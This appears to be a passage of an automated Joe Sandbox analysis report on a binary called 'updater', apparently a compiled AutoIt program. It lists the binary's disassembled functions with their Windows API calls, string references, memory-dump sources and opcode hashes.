Download Yara Rule

APIs

SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00C11B01
keybd_event.USER32(?,75A8C0D0,?,00000000), ref: 00C11B14

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: InputSendkeybd_event
String ID:
API String ID: 3536248340-0
Opcode ID: c588603ab386e8faa6684515ca59ae32b67a483719b6cedfcc389f57bf8f7e8e
Instruction ID: 7bd490ad121db79fc93fa5e70201d6bf364d1596aba0a60697999d03f0338da8
Opcode Fuzzy Hash: c588603ab386e8faa6684515ca59ae32b67a483719b6cedfcc389f57bf8f7e8e
Instruction Fuzzy Hash: 22F0377594420DABDB00CF95C805BFE7BB4FF04316F10804AFE5596292D3799615DF98

Function 00C1A6AD Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000FFF,00000000,?,?,00C29B52,?,00C4098C,?), ref: 00C1A6DA
FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,?,?,00C29B52,?,00C4098C,?), ref: 00C1A6EC

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 7246ee5cd6926bf770453e97bad9db525b83f8d370d660ed344cac7afcdc977b
Instruction ID: 4ad93ad5419ee0faf5e73f631ee0dafd85226f152ad2ad6f8a08f2084c64c7b0
Opcode Fuzzy Hash: 7246ee5cd6926bf770453e97bad9db525b83f8d370d660ed344cac7afcdc977b
Instruction Fuzzy Hash: 3CF0A73555522DBBDB20AFA4CC48FEE77ACFF0A761F008255B918D6191D6709A40CBE1

Function 00C08DE9 Relevance: 3.0, APIs: 2, Instructions: 22COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00C08F27), ref: 00C08DFE
CloseHandle.KERNEL32(?,?,00C08F27), ref: 00C08E10

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 07abe589d08bf224a11e14c6e4a31cfceeac39f44d69aad8d5850cbfb317e68d
Instruction ID: d0f9d05fa32384ed7f9c50c3b01cced8796baf44183221608d297f38e56e3c95
Opcode Fuzzy Hash: 07abe589d08bf224a11e14c6e4a31cfceeac39f44d69aad8d5850cbfb317e68d
Instruction Fuzzy Hash: 3BE09A75010610AEE7252B54EC09A77BBA9EB042107248959F5A580470DA715C90DB50

Function 00BDA385 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,00BD8F87,?,?,?,00000001), ref: 00BDA38A
UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00BDA393

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: eea0f500a69137a50b846fbf8a9c786a42f3036c62bb539953b9e4fd3226330b
Instruction ID: e87c3dfa9106a192aaf6d8559b53e98f3ef974439b2b6f28fa383fd982dfc12d
Opcode Fuzzy Hash: eea0f500a69137a50b846fbf8a9c786a42f3036c62bb539953b9e4fd3226330b
Instruction Fuzzy Hash: 2AB092350A4608ABCA402F91EC09B8C3F68FB46A62F104010FB0D44070CB7254508A91

Function 012572A1 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 012572BF

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 8c85d529f1f020f63ef7f35d006a93bef216e000dc5b01d4844948bf4808de50
Instruction ID: 7177f3c10d4844db50c91061e683e925ae7ca332f39f2770240d5cad56b9ad07
Opcode Fuzzy Hash: 8c85d529f1f020f63ef7f35d006a93bef216e000dc5b01d4844948bf4808de50
Instruction Fuzzy Hash: 43E0D872B2421917D751A5589CC5EF6B25CE76C350F40426ABE05C7380EDF0DD8142E8

Function 00C245D5 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 00C245F0

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 6a8441023d4cbc5d0fb31c7753547c95621da0977526e444785cf16e89ae6b3b
Instruction ID: 8d56f31361a7f0fa1db97a3084b71c41165c768e9f2fab94a4cfb83c8358340f
Opcode Fuzzy Hash: 6a8441023d4cbc5d0fb31c7753547c95621da0977526e444785cf16e89ae6b3b
Instruction Fuzzy Hash: 6BE0DF352102199FC310AF5AE800F9BF7E8AF94760F00842AFD49C7311DAB0ED008B91

Function 00C151E2 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 00C15205

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 8c8faea32e255d38516dda206230124e1389ea7122e423a3f0749fa4a38dd4db
Instruction ID: f6bbc172ae84338adab190a9075902da18a262f500909ee69468d1976378e445
Opcode Fuzzy Hash: 8c8faea32e255d38516dda206230124e1389ea7122e423a3f0749fa4a38dd4db
Instruction Fuzzy Hash: 00D01794160E09B8E81A0324CA0FFBE0208F3837C0FB4418A7122850C1A89258C9B421

Function 012572ED Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,01258B4F,00000000,01258D68,?,?,00000000,00000000), ref: 01257300

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: f1ffb4599b79f38fd8d7c650d754adac4e120045415bebdd127c198695e5f0c1
Instruction ID: 8898cf70c24d6aeb9a1941a3d6033e25eadb352a3a819f5b92b2bf58b98594e2
Opcode Fuzzy Hash: f1ffb4599b79f38fd8d7c650d754adac4e120045415bebdd127c198695e5f0c1
Instruction Fuzzy Hash: 35D05E6636D2503AE320965A6DC5DBB9B9CCAC56B0F144979FE49C7201D2208C0693B1

Function 00C09369 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00C08FA7), ref: 00C09389

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: b59e3114b58773bf7923b89c082b397321185b87cfdd684b204b726a814d69b2
Instruction ID: a7890c4c306874e395ac327d12d4734d36b3942b9e4673017405b7a51070fe68
Opcode Fuzzy Hash: b59e3114b58773bf7923b89c082b397321185b87cfdd684b204b726a814d69b2
Instruction Fuzzy Hash: AFD05E322A050EABEF018EA4DC01FAE3B69EB04B01F408111FE15C50A0C775D835AB60

Function 00BF0722 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00BF0734

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: c02b8424972667cfe7e84de52a8a7820f1457a2cfcb4aa76160fa56c03ae9ea9
Instruction ID: 6f0c3a665b25fd6259bcee966d62b483908a841294c14530f0d67f99623982b6
Opcode Fuzzy Hash: c02b8424972667cfe7e84de52a8a7820f1457a2cfcb4aa76160fa56c03ae9ea9
Instruction Fuzzy Hash: A4C04CF581010DDBCB15DBA0D988FFE7BBCBB04305F200055A205B3110D7749B448A71

Function 00BDA354 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 00BDA35A

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 411080da9bb042cd70e9711a67e5df263dbc63a5c424fa6dc8f84d2b9d7bf42c
Instruction ID: 5118e743ce7ede9e4c58d783be41fb12ca07588dea428a3d5e8589f4c741407f
Opcode Fuzzy Hash: 411080da9bb042cd70e9711a67e5df263dbc63a5c424fa6dc8f84d2b9d7bf42c
Instruction Fuzzy Hash: 65A0243007010CF7CF001F41FC0454C7F5CF7015507004010F50C00031C733541045C0

Function 0127525E Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000126F000.00000040.00000020.00020000.00000000.sdmp, Offset: 0126F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_126f000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d5486f6e5b9d9d61447aadb6395f99df315b0362e95f2a9dd6700af68e1202b
Instruction ID: 6e2eb2476b8753345c9104dbe8cae48df30a432897a75ba00fb753494b9ec3b9
Opcode Fuzzy Hash: 2d5486f6e5b9d9d61447aadb6395f99df315b0362e95f2a9dd6700af68e1202b
Instruction Fuzzy Hash: B2F058322342028FEA62CE59D884F66F7A8EB50660F2A04A9F740A7661D370E844DA50

Function 01263405 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2484002607.000000000124B000.00000040.00000020.00020000.00000000.sdmp, Offset: 0124B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_124b000_updater.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2a2d129c8543363c052d008b34330d58e57021dec0e7df0c1a6226ed5b22a4b
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: c2a2d129c8543363c052d008b34330d58e57021dec0e7df0c1a6226ed5b22a4b
Instruction Fuzzy Hash:

Function 00C27EF0 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 491filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00C27F45
DeleteObject.GDI32(00000000), ref: 00C27F57
DestroyWindow.USER32 ref: 00C27F65
GetDesktopWindow.USER32 ref: 00C27F7F
GetWindowRect.USER32(00000000), ref: 00C27F86
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00C280C7
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00C280D7
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C2811F
GetClientRect.USER32(00000000,?), ref: 00C2812B
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00C28165
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C28187
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C2819A
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C281A5
GlobalLock.KERNEL32(00000000), ref: 00C281AE
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C281BD
GlobalUnlock.KERNEL32(00000000), ref: 00C281C6
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C281CD
GlobalFree.KERNEL32(00000000), ref: 00C281D8
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C281EA
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00C43C7C,00000000), ref: 00C28200
GlobalFree.KERNEL32(00000000), ref: 00C28210
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00C28236
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00C28255
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C28277
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00C28464

Strings

, xrefs: 00C283EA
AutoIt v3, xrefs: 00C28117
DISPLAY, xrefs: 00C282C7
static, xrefs: 00C2815F, 00C282B6

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: acc2e9836345fdf164aac72acefe86c676a7e0e405ab7dddf54ec92497da715b
Instruction ID: 1bfe3c80734f7d415e7dbe40e4d4e912176ddb147fb89c5b273dceed1817cd8f
Opcode Fuzzy Hash: acc2e9836345fdf164aac72acefe86c676a7e0e405ab7dddf54ec92497da715b
Instruction Fuzzy Hash: D5027975900219EFDB14DFA4DC89FAE7BB9FB49310F148158FA15AB2A1CB70AD41CB60

Function 00C33BA9 Relevance: 51.1, APIs: 6, Strings: 23, Instructions: 365windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,00C40980), ref: 00C33C65
IsWindowVisible.USER32(?), ref: 00C33C89

Strings

ISCHECKED, xrefs: 00C33E77
TABRIGHT, xrefs: 00C33CDB
CURRENTTAB, xrefs: 00C33CFB
GETCURRENTCOL, xrefs: 00C33F66
GETLINECOUNT, xrefs: 00C33F04
ISENABLED, xrefs: 00C33CA9
DELSTRING, xrefs: 00C33D87
SHOWDROPDOWN, xrefs: 00C33D1E
GETLINE, xrefs: 00C33FD9
SENDCOMMANDID, xrefs: 00C34018
UNCHECK, xrefs: 00C33EC1
GETCURRENTSELECTION, xrefs: 00C33E21
SELECTSTRING, xrefs: 00C33E44
GETSELECTED, xrefs: 00C33EE1
HIDEDROPDOWN, xrefs: 00C33D3E
TABLEFT, xrefs: 00C33CC5
ISVISIBLE, xrefs: 00C33C75
CHECK, xrefs: 00C33EAB
SETCURRENTSELECTION, xrefs: 00C33DF4
EDITPASTE, xrefs: 00C33F9D
FINDSTRING, xrefs: 00C33DB4
GETCURRENTLINE, xrefs: 00C33F2B
ADDSTRING, xrefs: 00C33D54

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: BuffCharUpperVisibleWindow
String ID: ADDSTRING$CHECK$CURRENTTAB$DELSTRING$EDITPASTE$FINDSTRING$GETCURRENTCOL$GETCURRENTLINE$GETCURRENTSELECTION$GETLINE$GETLINECOUNT$GETSELECTED$HIDEDROPDOWN$ISCHECKED$ISENABLED$ISVISIBLE$SELECTSTRING$SENDCOMMANDID$SETCURRENTSELECTION$SHOWDROPDOWN$TABLEFT$TABRIGHT$UNCHECK
API String ID: 4105515805-45149045
Opcode ID: da68c271291b747b9ba453ec1029737cba7c6ffbea4866540de0a643a6e7ce1c
Instruction ID: 5510d4b0cc2e434760465e817cdb4e960b40213b47fe6f2092a68a2f01f4fb89
Opcode Fuzzy Hash: da68c271291b747b9ba453ec1029737cba7c6ffbea4866540de0a643a6e7ce1c
Instruction Fuzzy Hash: 45D170302242418BCB14EF50C491BBAB7E2EF94354F1044A9F9965B3E3DB31EE4ACB42

Function 00C3ABFF Relevance: 49.8, APIs: 33, Instructions: 274COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 00C3AC55
GetSysColorBrush.USER32(0000000F), ref: 00C3AC86
GetSysColor.USER32(0000000F), ref: 00C3AC92
SetBkColor.GDI32(?,000000FF), ref: 00C3ACAC
SelectObject.GDI32(?,?), ref: 00C3ACBB
InflateRect.USER32(?,000000FF,000000FF), ref: 00C3ACE6
GetSysColor.USER32(00000010), ref: 00C3ACEE
CreateSolidBrush.GDI32(00000000), ref: 00C3ACF5
FrameRect.USER32(?,?,00000000), ref: 00C3AD04
DeleteObject.GDI32(00000000), ref: 00C3AD0B
InflateRect.USER32(?,000000FE,000000FE), ref: 00C3AD56
FillRect.USER32(?,?,?), ref: 00C3AD88
GetWindowLongW.USER32(?,000000F0), ref: 00C3ADB3

Part of subcall function 00C3AF18: GetSysColor.USER32(00000012), ref: 00C3AF51
Part of subcall function 00C3AF18: SetTextColor.GDI32(?,?), ref: 00C3AF55
Part of subcall function 00C3AF18: GetSysColorBrush.USER32(0000000F), ref: 00C3AF6B
Part of subcall function 00C3AF18: GetSysColor.USER32(0000000F), ref: 00C3AF76
Part of subcall function 00C3AF18: GetSysColor.USER32(00000011), ref: 00C3AF93
Part of subcall function 00C3AF18: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00C3AFA1
Part of subcall function 00C3AF18: SelectObject.GDI32(?,00000000), ref: 00C3AFB2
Part of subcall function 00C3AF18: SetBkColor.GDI32(?,00000000), ref: 00C3AFBB
Part of subcall function 00C3AF18: SelectObject.GDI32(?,?), ref: 00C3AFC8
Part of subcall function 00C3AF18: InflateRect.USER32(?,000000FF,000000FF), ref: 00C3AFE7
Part of subcall function 00C3AF18: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00C3AFFE
Part of subcall function 00C3AF18: GetWindowLongW.USER32(00000000,000000F0), ref: 00C3B013

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameRoundSolid
String ID:
API String ID: 4124339563-0
Opcode ID: 21a10ff909a757aa3c4d35111b081f1998b4b5ffc13c5cc18710857d74f4ed20
Instruction ID: 051ded3e99df5b0b088337eb2ad8b7bca82a96eb90fa4658c6a599579832d3bc
Opcode Fuzzy Hash: 21a10ff909a757aa3c4d35111b081f1998b4b5ffc13c5cc18710857d74f4ed20
Instruction Fuzzy Hash: 86A18976058301AFD7119F64DC08B6FBBA9FF89321F200A1DFAA2961A0D731D954CF92

Function 00BB2FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00BB3072
DeleteObject.GDI32(00000000), ref: 00BB30B8
DeleteObject.GDI32(00000000), ref: 00BB30C3
DestroyIcon.USER32(00000000,?,?,?), ref: 00BB30CE
DestroyWindow.USER32(00000000,?,?,?), ref: 00BB30D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 00BEC77C
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00BEC7B5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00BECBDE

Part of subcall function 00BB1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00BB2412,?,00000000,?,?,?,?,00BB1AA7,00000000,?), ref: 00BB1F76

SendMessageW.USER32(?,00001053), ref: 00BECC1B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00BECC32
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00BECC48
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00BECC53

Strings

0, xrefs: 00BECA72

Memory Dump Source

Source File: 00000013.00000002.2481282186.0000000000BB1000.00000020.00000001.01000000.00000010.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000013.00000002.2480217922.0000000000BB0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C40000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2481669909.0000000000C66000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482204228.0000000000C70000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000013.00000002.2482250408.0000000000C79000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_bb0000_updater.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 0fe85bd3c552c814aae7b6fd05544b44f01bf478ede35b5ccc42451d6dd6ea6c
Instruction ID: c3bc796227fd4566f3a8ddb0cdda69a4b3bedc8fd8d466c7e5773707399f9a7c
Opcode Fuzzy Hash: 0fe85bd3c552c814aae7b6fd05544b44f01bf478ede35b5ccc42451d6dd6ea6c
Instruction Fuzzy Hash: 05127834604281EFDB25DF25C884BB9BBE1FF09700F6445A9E999CB262C771ED42CB91

Function 00BC27FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 00BD0FE6: std::exception::exception.LIBCMT ref: 00BD101C
Part of subcall function 00BD0FE6: __CxxThrowException@8.LIBCMT ref: 00BD1031

__wcsnicmp.LIBCMT ref: 00BC286A
__wcsnicmp.LIBCMT ref: 00BC287E
